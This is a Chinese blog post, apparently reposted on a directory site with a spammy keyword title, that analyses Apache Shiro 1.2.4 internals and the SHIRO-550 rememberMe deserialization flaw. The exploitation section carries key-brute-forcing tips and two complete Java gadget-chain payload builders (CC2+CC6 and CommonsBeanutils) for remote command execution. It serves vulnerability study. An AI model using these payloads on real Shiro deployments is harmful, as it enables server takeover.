日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢(xún)客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

前言

Shiro是一個(gè)功能強(qiáng)大且易于使用的JAVA安全框架,提供全面的身份驗(yàn)證、授權(quán)、密碼管理和會(huì)話(huà)管理功能。它支持多種認(rèn)證方式,如基于表單、HTTP基本身份驗(yàn)證和RememberMe。授權(quán)模型靈活,可細(xì)粒度限制訪問(wèn)控制,保護(hù)敏感數(shù)據(jù)和功能。安全會(huì)話(huà)管理功能確保會(huì)話(huà)安全,包括記住我功能和會(huì)話(huà)超時(shí)設(shè)置。無(wú)論是Web應(yīng)用還是其他Java應(yīng)用,Shiro都是可靠的選擇,增加應(yīng)用程序的安全性。

在shiro-core庫(kù)中實(shí)現(xiàn)了對(duì)認(rèn)證授權(quán)等的抽象,以提供對(duì)不同環(huán)境的認(rèn)證和授權(quán)。如shiro-web依賴(lài)就是對(duì)在shiro-core庫(kù)的技術(shù)上進(jìn)行擴(kuò)展實(shí)現(xiàn)web應(yīng)用的認(rèn)證和授權(quán)等。在shiro-core庫(kù)中包括SecurityManager,Authenticator,Authoriser,realm,sessionManager等核心組件,具體關(guān)系如下圖所示。

imageimage

從整體看是由SecurityManager管理的,然后認(rèn)證和授權(quán)依賴(lài)于底層的realm從不同的途徑獲取對(duì)應(yīng)數(shù)據(jù)。整個(gè)過(guò)程過(guò)程中的加密算法是由Cryptography完成的,在shiro中默認(rèn)支持的加密算法有MD5/Hash/AES/RSA等。最后由sessionManager進(jìn)行會(huì)話(huà)管理,同時(shí)還有session緩存等機(jī)制支持。

環(huán)境搭建

這里可以直接直接把官網(wǎng)的項(xiàng)目拉下來(lái)使用。

git clone https://Github.com/Apache/shiro.git
git checkout shiro-root-1.2.4 //切換到1.2.4版本

打開(kāi)后需要修改shiro/samples/web/pom.xml路徑下jstl的依賴(lài)版本,否則會(huì)出現(xiàn)jsp解析報(bào)錯(cuò)。

imageimage

最后配置好Tomcat,然后選擇對(duì)應(yīng)項(xiàng)目就可以跑起來(lái)了。

imageimage

imageimage

源碼分析

入口點(diǎn)

shiro與web應(yīng)用是通過(guò)一個(gè)過(guò)濾器綁定的,在web.xml中就可以看到。

imageimage

所有的請(qǐng)求都將被ShiroFilter攔截,同時(shí)在過(guò)濾器之前還有一個(gè)listener,它在filter之前被初始化,它的作用就是為ShiroFilter初始化提供web環(huán)境的依賴(lài)對(duì)象。

ShiroFilter初始化

ShiroFilter是Filter的子類(lèi),由于它的匹配規(guī)則是/*,所以所有的請(qǐng)求都會(huì)被他處理。先來(lái)看一下它的繼承關(guān)系。

imageimage

首先找到對(duì)應(yīng)的初始化方法org.apache.shiro.web.servlet.AbstractFilter#init。

public final void init(FilterConfig filterConfig) throws ServletException {
    setFilterConfig(filterConfig);
    try {
        onFilterConfigSet();
    } catch (Exception e) {
......
}
public void setFilterConfig(FilterConfig filterConfig) {
    this.filterConfig = filterConfig;
    setServletContext(filterConfig.getServletContext());//設(shè)置servletContext
}

其中的參數(shù)FilterConfig是由調(diào)用者ApplicationFilterConfig初始化時(shí)傳遞的自身,每一個(gè)filter都由ApplicationFilterConfig來(lái)管理最后存放在StandardContext#filterConfigs中。具體filter初始化的代碼就不再深入了,有興趣的同學(xué)可以再去結(jié)合tomcat的源碼看看,有助于后面學(xué)習(xí)通過(guò)shiro注入filter內(nèi)存碼。

protected final void onFilterConfigSet() throws Exception {
    //added in 1.2 for SHIRO-287:
    applyStaticSecurityManagerEnabledConfig();//安全配置檢查是否使用靜態(tài)安全管理器
    init();
    ensureSecurityManager();//檢查securitymanager,否則初始化DefaultWebSecurityManager
    //added in 1.2 for SHIRO-287:
    if (isStaticSecurityManagerEnabled()) {
        SecurityUtils.setSecurityManager(getSecurityManager());
    }
}

public void init() throws Exception {
    WebEnvironment env = WebUtils.getRequiredWebEnvironment(getServletContext());

    setSecurityManager(env.getWebSecurityManager());

    FilterChAInResolver resolver = env.getFilterChainResolver();
    if (resolver != null) {
        setFilterChainResolver(resolver);
    }
}

這里才調(diào)用了ShiroFilter#init方法,首先從servletContext中獲取WebEnvironment對(duì)象,這個(gè)對(duì)象是在前面配置的listener初始化時(shí)創(chuàng)建的。同時(shí)初始化了securityManager對(duì)象,最后從WebEnvironment中獲取SecurityManager以及FilterChainResolver(內(nèi)置過(guò)濾器)。

WebEnvironment創(chuàng)建

在前面的web.xml配置文件中可以看到除了filter之外還配置了一個(gè)EnvironmentLoaderListener,在初始化時(shí)就會(huì)調(diào)用其父類(lèi)的EnvironmentLoader#initEnvironment方法。

imageimage

前面看到在EnvironmentLoaderListener初始化中創(chuàng)建了WebEnvironment對(duì)象,調(diào)用了createEnvironment方法。

protected WebEnvironment createEnvironment(ServletContext sc) {
    Class<?> clazz = determineWebEnvironmentClass(sc);
		....
    MutableWebEnvironment environment = (MutableWebEnvironment) ClassUtils.newInstance(clazz);
    environment.setServletContext(sc);
		...
    customizeEnvironment(environment);
    LifecycleUtils.init(environment);
    return environment;
}
protected Class<?> determineWebEnvironmentClass(ServletContext servletContext) {
    String className = servletContext.getInitParameter(ENVIRONMENT_CLASS_PARAM);
    if (className != null) {
        try {
            return ClassUtils.forName(className);
        } catch (UnknownClassException ex) {
            throw new ConfigurationException(
                    "Failed to load custom WebEnvironment class [" + className + "]", ex);
        }
    } else {
        return IniWebEnvironment.class;
    }
}

在創(chuàng)建WebEnvironment是也會(huì)首先查找servletcontext中是否自定義配置,默認(rèn)使用IniWebEnvironment,及使用ini配置文件初始化securitymanager。然后初始化默認(rèn)的內(nèi)置過(guò)濾器。

public void init() {
    Ini ini = getIni();

		......

    setIni(ini);

    configure();
}

protected void configure() {

    this.objects.clear();

    WebSecurityManager securityManager = createWebSecurityManager();//創(chuàng)建默認(rèn)wsm
    setWebSecurityManager(securityManager);

    FilterChainResolver resolver = createFilterChainResolver();//初始化默認(rèn)過(guò)濾器
    if (resolver != null) {
        setFilterChainResolver(resolver);
    }
}

最后WebEnvironment的初始化結(jié)束調(diào)用servletContext.setAttribute(ENVIRONMENT_ATTRIBUTE_KEY, environment)設(shè)置到ApplicationContext的attributes屬性中,最后在ShiroFilter初始化時(shí)就會(huì)獲取該對(duì)象中的WebEnvironment和FilterChainResolver。

ShiroFilter過(guò)濾器

上面分析了ShiroFilter的初始化的過(guò)程,下面就來(lái)看看在我們shiro框架下的web應(yīng)用是怎么實(shí)現(xiàn)安全訪問(wèn)控制的。

首先從OncePerRequestFilter#doFilter方法入手,他是Filter接口中定義的方法。在tomcat處理完請(qǐng)求的封裝時(shí)在就會(huì)依次調(diào)用所有注冊(cè)的filter的doFilter方法。

public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException {
    String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName();
    if ( request.getAttribute(alreadyFilteredAttributeName) != null ) {
        filterChain.doFilter(request, response);//防止同一個(gè)過(guò)濾器調(diào)用兩次
    } else //noinspection deprecation
        if ( !isEnabled(request, response) || shouldNotFilter(request) ) {
        filterChain.doFilter(request, response);
    } else {
        request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE);
        try {
            doFilterInternal(request, response, filterChain);
        } finally {
            request.removeAttribute(alreadyFilteredAttributeName);
        }
    }
}

然后,回調(diào)用父類(lèi)的AbstractShiroFilter#doFilterInternal方法。

protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain)
        throws ServletException, IOException {

    Throwable t = null;

    try {
        final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain);
        final ServletResponse response = prepareServletResponse(request, servletResponse, chain);

        final Subject subject = createSubject(request, response);

        //noinspection unchecked
        subject.execute(new Callable() {
            public Object call() throws Exception {
                updateSessionLastAccessTime(request, response);
                executeChain(request, response, chain);
                return null;
            }
        });
    } catch (ExecutionException ex) {
        t = ex.getCause();
    } catch (Throwable throwable) {
        t = throwable;
    }
...
}

在這個(gè)方法里面首先對(duì)tomcat中的request和response對(duì)象重寫(xiě)進(jìn)行了封裝,然后主要代碼如下:

final Subject subject = createSubject(request, response);//由securitymanager創(chuàng)建
subject.execute(new Callable() {
    public Object call() throws Exception {
        updateSessionLastAccessTime(request, response);
        executeChain(request, response, chain);//匹配請(qǐng)求URL執(zhí)行內(nèi)置過(guò)濾器
        return null;
    }
});

首先來(lái)看創(chuàng)建subject的過(guò)程。

由于這是web環(huán)境,所有在shiro-web里面重寫(xiě)了WebSubject繼承subject,以及其內(nèi)部的builder靜態(tài)內(nèi)部類(lèi)。

imageimage

在創(chuàng)建過(guò)程中先初始化了WebSubject.Builder類(lèi),然后調(diào)用Builder.buildSubject,最后調(diào)用了SecurityManager#createSubject,其中 的subjectContext是在Builder初始化時(shí)創(chuàng)建的DefaultSubjectContext類(lèi),這個(gè)類(lèi)負(fù)責(zé)處理本次會(huì)話(huà)的上下文對(duì)象,它的本質(zhì)是一個(gè)Hashmap。

imageimage

在初始化結(jié)束時(shí)默認(rèn)存在如下對(duì)象:

imageimage

在DefaultSecurityManager#createSubject(SubjectContext)中首先克隆了一個(gè)context對(duì)象,然后依次檢查其中的securitymanger,session,PrincipalCollection對(duì)象,如果不存在則創(chuàng)建并添加,最后再以這個(gè)context創(chuàng)建subject對(duì)象。

public Subject createSubject(SubjectContext subjectContext) {
    SubjectContext context = copy(subjectContext);

    context = ensureSecurityManager(context);

    context = resolveSession(context);

    context = resolvePrincipals(context);

    Subject subject = doCreateSubject(context);

    save(subject);

    return subject;
}

其中shiro550漏洞就是在resolvePrincipals時(shí)觸發(fā)的。我們可以簡(jiǎn)單跟進(jìn)看一下。

protected SubjectContext resolvePrincipals(SubjectContext context) {

        PrincipalCollection principals = context.resolvePrincipals();

        if (CollectionUtils.isEmpty(principals)) {
            principals = getRememberedIdentity(context);
            if (!CollectionUtils.isEmpty(principals)) {
                context.setPrincipals(principals);
            } else {
            }
        }

        return context;
    }

前面代碼邏輯還是差不多的,先從context中獲取principal對(duì)象,然后檢查是是否為空,如果為空則調(diào)用getRememberedIdentity創(chuàng)建然后設(shè)置到context中,否則直接返回,所以如果要觸發(fā)反序列化這里必須要為空。我們跟進(jìn)resolvePrincipals方法中看一下。

public PrincipalCollection resolvePrincipals() {
    PrincipalCollection principals = getPrincipals();

    if (CollectionUtils.isEmpty(principals)) {
        AuthenticationInfo info = getAuthenticationInfo();
        if (info != null) {
            principals = info.getPrincipals();
        }
    }

    if (CollectionUtils.isEmpty(principals)) {
        Subject subject = getSubject();
        if (subject != null) {
            principals = subject.getPrincipals();
        }
    }

    if (CollectionUtils.isEmpty(principals)) {
        Session session = resolveSession();
        if (session != null) {
            principals = (PrincipalCollection) session.getAttribute(PRINCIPALS_SESSION_KEY);
        }
    }

    return principals;
}

這個(gè)方法就和前面的resolveSession有點(diǎn)不太一樣了,他第一次調(diào)用了getPrincipals如果為空還從其地方也獲取了相關(guān)對(duì)象來(lái)構(gòu)建principals,可以看到最后也獲取了session對(duì)象。如果前面已經(jīng)設(shè)置了session對(duì)象,那么這里返回的就一定不會(huì)是null,最后就不會(huì)調(diào)用rememberMe導(dǎo)致反序列化。所以我們?cè)诶胹hiro反序列化時(shí)一定要?jiǎng)h除cookie中的JSESSIONID字段。

最后使用context創(chuàng)建對(duì)應(yīng)環(huán)境的subject對(duì)象,這個(gè)對(duì)象是shiro框架對(duì)開(kāi)發(fā)者使用的一個(gè)接口對(duì)象,在登錄及認(rèn)證授權(quán)時(shí)都是調(diào)用的該對(duì)象,由他內(nèi)部再去調(diào)用securitymanager對(duì)象的操作。

最后回到AbstractShiroFilter#doFilterInternal中,調(diào)用了Subject#execute(java.util.concurrent.Callable)方法,傳入了updateSessionLastAccessTime和executeChain方法。這里如果直接跟進(jìn)這兩個(gè)方法回錯(cuò)過(guò)一個(gè)細(xì)節(jié),就是將subject對(duì)象設(shè)置打ThreadLocal中,但由于這個(gè)和shiro中的漏洞關(guān)系不大就不再跟進(jìn)分析了。

updateSessionLastAccessTime方法沒(méi)什么用就不說(shuō)了,下面跟進(jìn)executeChain說(shuō)一下shiro中的路徑匹配。

imageimage

在這個(gè)方法里面就分兩步,第一步根據(jù)request獲取對(duì)應(yīng)的過(guò)濾器,然后第二部執(zhí)行過(guò)濾方法。

protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) {
    FilterChain chain = origChain;
    FilterChainResolver resolver = getFilterChainResolver();
    if (resolver == null) {
...
        return origChain;
    }
    FilterChain resolved = resolver.getChain(request, response, origChain);
...
    return chain;
}

public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
    FilterChainManager filterChainManager = getFilterChainManager();
    if (!filterChainManager.hasChains()) {
        return null;
    }

    String requestURI = getPathWithinApplication(request);

    for (String pathPattern : filterChainManager.getChainNames()) {
        if (pathMatches(pathPattern, requestURI)) {
            return filterChainManager.proxy(originalChain, pathPattern);
        }
    }

    return null;
}

首先獲取FilterChainResolver對(duì)象,這個(gè)對(duì)象就是在WebEnvironment創(chuàng)建時(shí)初始化的,然后在ShiroFilter初始化時(shí)設(shè)置到該類(lèi)的屬性中。然后根據(jù)請(qǐng)求URL匹配對(duì)應(yīng)的過(guò)濾器,最后創(chuàng)建一個(gè)filterChain的靜態(tài)代理類(lèi)。其中shiro權(quán)限繞過(guò)的原因主要就是由于路徑匹配時(shí)匹配到了錯(cuò)誤的過(guò)濾器或未匹配到shiro內(nèi)置的過(guò)濾器,導(dǎo)致繞過(guò)shiro的過(guò)濾器檢查,但其請(qǐng)求URL被tomcat過(guò)濾器處理后仍然能獲取對(duì)應(yīng)的資源。

SHIRO-550

源碼分析

上面分析了shiro框架的大概流程,在介紹DefaultSecurityManager#createSubject(SubjectContext)中創(chuàng)建Principal時(shí)就會(huì)對(duì)cookie中的rememberMe解析并反序列化。下面就從這開(kāi)始進(jìn)行深入分析。

首先進(jìn)入org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity方法。

protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
    RememberMeManager rmm = getRememberMeManager();
    if (rmm != null) {
        try {
            return rmm.getRememberedPrincipals(subjectContext);
        } catch (Exception e) {
......
        }
    }
    return null;
}
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

其中g(shù)etRememberedSerializedIdentity方法主要是獲取rememberMe的值并進(jìn)行base64解密,然后convertBytesToPrincipals對(duì)base64解密后的值進(jìn)行AES解密并反序列化。注意這里的異常捕獲,先提一下后面再回來(lái)分析。我們繼續(xù)跟進(jìn)convertBytesToPrincipals方法。

imageimage

這個(gè)方法里面也分兩步,第一步對(duì)字節(jié)數(shù)組進(jìn)行AES解密,第二步進(jìn)行反序列化。

imageimage

在解密時(shí)就會(huì)獲取AES密鑰,由于這個(gè)密鑰在對(duì)象構(gòu)造函數(shù)中初始化為了默認(rèn)密鑰,導(dǎo)致攻擊者可以根據(jù)密鑰進(jìn)行偽造惡意的反序列化數(shù)據(jù)進(jìn)行代碼執(zhí)行。

我們?cè)賮?lái)看反序列化的方法。

imageimage

這里調(diào)用了readObject方法導(dǎo)致反序列化,注意這里的調(diào)用類(lèi)并不直接是ObjectInputStream對(duì)象,而是自定義的一個(gè)繼承ObjectInputStream的類(lèi),并重寫(xiě)了resolveClass方法。

imageimage

在原生java反序列化底層代碼中該方法的作用是根據(jù)其讀取到完全限定名調(diào)用Class.forName()進(jìn)行類(lèi)加載獲取對(duì)應(yīng)的Class對(duì)象。這里重寫(xiě)該方法主要是為了使用指定的類(lèi)加載器來(lái)進(jìn)行類(lèi)加載,因?yàn)樵趖omcat中打破了雙親委派的機(jī)制都是使用的自定義類(lèi)加載進(jìn)行類(lèi)加載,我們跟進(jìn)該方法也可以看到它首先就從進(jìn)程中獲取了不同的類(lèi)加載器進(jìn)行類(lèi)加載。

public static Class forName(String fqcn) throws UnknownClassException {
    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
    if (clazz == null) {
        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
    }
    if (clazz == null) {
        clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
    }
    if (clazz == null) {
        String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " +
                "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
        throw new UnknownClassException(msg);
    }
    return clazz;
}

正是由于這里自定義了類(lèi)加載器,主要都是通過(guò)類(lèi)名然后去找對(duì)應(yīng)的class文件,然后通過(guò)defineclass進(jìn)行類(lèi)加載。但是由于java中數(shù)組的類(lèi)對(duì)象是由jvm創(chuàng)建的,沒(méi)有對(duì)應(yīng)的class文件,導(dǎo)致在利用時(shí)反序列化數(shù)組對(duì)象時(shí)回拋出如下異常。這也是在shiro中利用cc鏈的一大限制,但并不是主要原因,其他原因在后面分析利用鏈時(shí)再說(shuō)。

imageimage

剛剛為了使整個(gè)分析流程更加順暢,所以沒(méi)有提DefaultSecurityManager#getRememberedIdentity方法中拋出的異常。

protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) {
    forgetIdentity(context);
    throw e;
}
public void forgetIdentity(SubjectContext subjectContext) {
    if (WebUtils.isHttp(subjectContext)) {
        HttpServletRequest request = WebUtils.getHttpRequest(subjectContext);
        HttpServletResponse response = WebUtils.getHttpResponse(subjectContext);
        forgetIdentity(request, response);
    }
}
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
    getCookie().removeFrom(request, response);
}

從上面的調(diào)用鏈跟蹤最后來(lái)到SimpleCookie#removeFrom,在這添加了一個(gè)cookie為rememberMe=deleteMe,這也是識(shí)別shiro框架的特征。同時(shí)看整個(gè)異常的位置是在base64解密之前,就是從base64解密開(kāi)始后面的AES解密以及反序列化過(guò)程只要拋出了沒(méi)有被處理的異常最后都會(huì)被捕獲,設(shè)置rememberMe=deleteMe。

imageimage

上面是rememberMe的解密過(guò)程,下面簡(jiǎn)單說(shuō)一下它在登錄認(rèn)證過(guò)程中是如何產(chǎn)生的。

在后端對(duì)登錄請(qǐng)求的處理一般都會(huì)先調(diào)用SecurityUtils#getSubject獲取對(duì)應(yīng)的subject,然后調(diào)用login方法,傳入由username和password初始化的AuthenticationToken對(duì)象。

imageimage

在認(rèn)證成功后就會(huì)創(chuàng)建一個(gè)principals然后加密返回給客戶(hù)端。

上面對(duì)整個(gè)流程進(jìn)行了粗略的分析,可以了解到在正常流程中rememberMe的值就是PrincipalCollection對(duì)象序列化數(shù)據(jù)的加密后的值。所以我們?cè)诒苉ey的時(shí)候就可以利用整個(gè)對(duì)象,但由于它是一個(gè)接口,所以我們一般都會(huì)利用他的子類(lèi)SimplePrincipalCollection進(jìn)行爆破,然后根據(jù)返回結(jié)果中是否含有deleteMe判斷密鑰是否正確。

imageimage

利用鏈

在前面分析中找到了ObjectInputStream#readObject的調(diào)用點(diǎn),我們利用還需要找到能利用的反序列化鏈,我們前面了解了CC鏈,以及URLDNS等。如果直接嘗試CC鏈可能會(huì)出現(xiàn)如下報(bào)錯(cuò):

imageimage

因?yàn)樵趕hiro默認(rèn)的依賴(lài)中不好看CC依賴(lài),導(dǎo)致無(wú)法反序列化,然后我們補(bǔ)上CC依賴(lài)后再打可能又會(huì)遇到下面的報(bào)錯(cuò),Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;],這就是由于無(wú)法創(chuàng)建Transformer數(shù)組導(dǎo)致的。所以在打CC依賴(lài)的時(shí)候必須要找一條不包含數(shù)組的鏈,這個(gè)的原因在上面也說(shuō)了。

imageimage

最后在原來(lái)的CC鏈的基礎(chǔ)少結(jié)合CC2+CC6得出下面這條鏈。

public Object getPayload(String[] args) throws Exception {
    TemplatesImpl templatesImpl = new TemplatesImpl();

    Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    Field nameField = templatesClass.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templatesImpl, "123");

    Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get(args[0]));
    byte[][] codes = new byte[][]{code};
    bytecodesField.set(templatesImpl, codes);

    Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
    tfactoryField.setAccessible(true);
    tfactoryField.set(templatesImpl, new TransformerFactoryImpl());

    Field auxClassesField = templatesClass.getDeclaredField("_auxClasses");
    auxClassesField.setAccessible(true);
    auxClassesField.set(templatesImpl, (Object)null);

    InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

    Map<Object, Object> map = new HashMap();
    LazyMap lazyMap = (LazyMap)LazyMap.decorate(map, new ConstantTransformer(1));
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templatesImpl);

    Map<Object, Object> map1 = new HashMap();
    map1.put(tiedMapEntry, "bbb");
    lazyMap.remove(templatesImpl);

    Class c = LazyMap.class;
    Field factoryfield = c.getDeclaredField("factory");
    factoryfield.setAccessible(true);
    factoryfield.set(lazyMap, invokerTransformer);

    return map1;
}

或者直接用依賴(lài)commons-collections4的CC2也可以。

上面這種方式是需要我們補(bǔ)依賴(lài)環(huán)境的,在實(shí)戰(zhàn)中這種方式就會(huì)有一定的限制,所以我們?cè)趕hiro中更多的是使用的它自帶的CB鏈去利用。在前面學(xué)習(xí)CC鏈的時(shí)候了解到TemplatesImpl這個(gè)類(lèi),在這個(gè)類(lèi)里面自定義了類(lèi)加載器,只要調(diào)用TemplatesImpl#newTransformer就可以觸發(fā)類(lèi)加載。我們繼續(xù)回溯找到了TrAXFilter的構(gòu)造函數(shù)中調(diào)用了該方法,另外還有TemplatesImpl#getOutputProperties中也調(diào)用了newTransformer,其中CB鏈就是用的后面這個(gè)點(diǎn)。

可以看到getOutputProperties是一個(gè)getter方法,在commons-beanutils中有一個(gè)調(diào)用任意對(duì)象getter的方法org.apache.commons.beanutils.PropertyUtils#getProperty(Object bean, String name),它在org.apache.commons.beanutils.BeanComparator#compare中被調(diào)用,且參數(shù)可控,所以再結(jié)合前面CC鏈的部分最后得出下面的CB鏈。

public Object getPayload(String[] args) throws Exception {
    TemplatesImpl templatesImpl = new TemplatesImpl();

    Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    Field nameField = templatesClass.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templatesImpl, "123");

    Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get(args[0]));
    byte[][] codes = new byte[][]{code};

    bytecodesField.set(templatesImpl, codes);

    Field auxClassesField = templatesClass.getDeclaredField("_auxClasses");
    auxClassesField.setAccessible(true);
    auxClassesField.set(templatesImpl, (Object)null);

    BeanComparator beanComparator = new BeanComparator();
    beanComparator.setProperty("outputProperties");

    PriorityQueue priorityQueue = new PriorityQueue();

    priorityQueue.add(1);
    priorityQueue.add(1);

    Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;

    Field queueField = priorityQueueClass.getDeclaredField("queue");
    queueField.setAccessible(true);
    Object[] o = (Object[]) queueField.get(priorityQueue);
    o[0] = templatesImpl;
    o[1] = templatesImpl;

    Field comparator = priorityQueueClass.getDeclaredField("comparator");
    comparator.setAccessible(true);
    comparator.set(priorityQueue,beanComparator);

    return priorityQueue;
}

最后也同樣實(shí)現(xiàn)了命令執(zhí)行。

imageimage

總結(jié)

以上就是關(guān)于shiro反序列化的所有分析了,雖然在1.2.4之后shiro就采用了自定義密鑰或者隨機(jī)生成密鑰,但真正反序列點(diǎn)還是沒(méi)有改變,如果存在密鑰泄露依然可以導(dǎo)致反序列化。

參考資料

Shiro反序列化漏洞(一)-shiro550流程分析-白日夢(mèng)組長(zhǎng)

Tomcat源碼初識(shí)一 Tomcat整理流程圖

分享到:
標(biāo)簽:Shiro
用戶(hù)無(wú)頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過(guò)答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定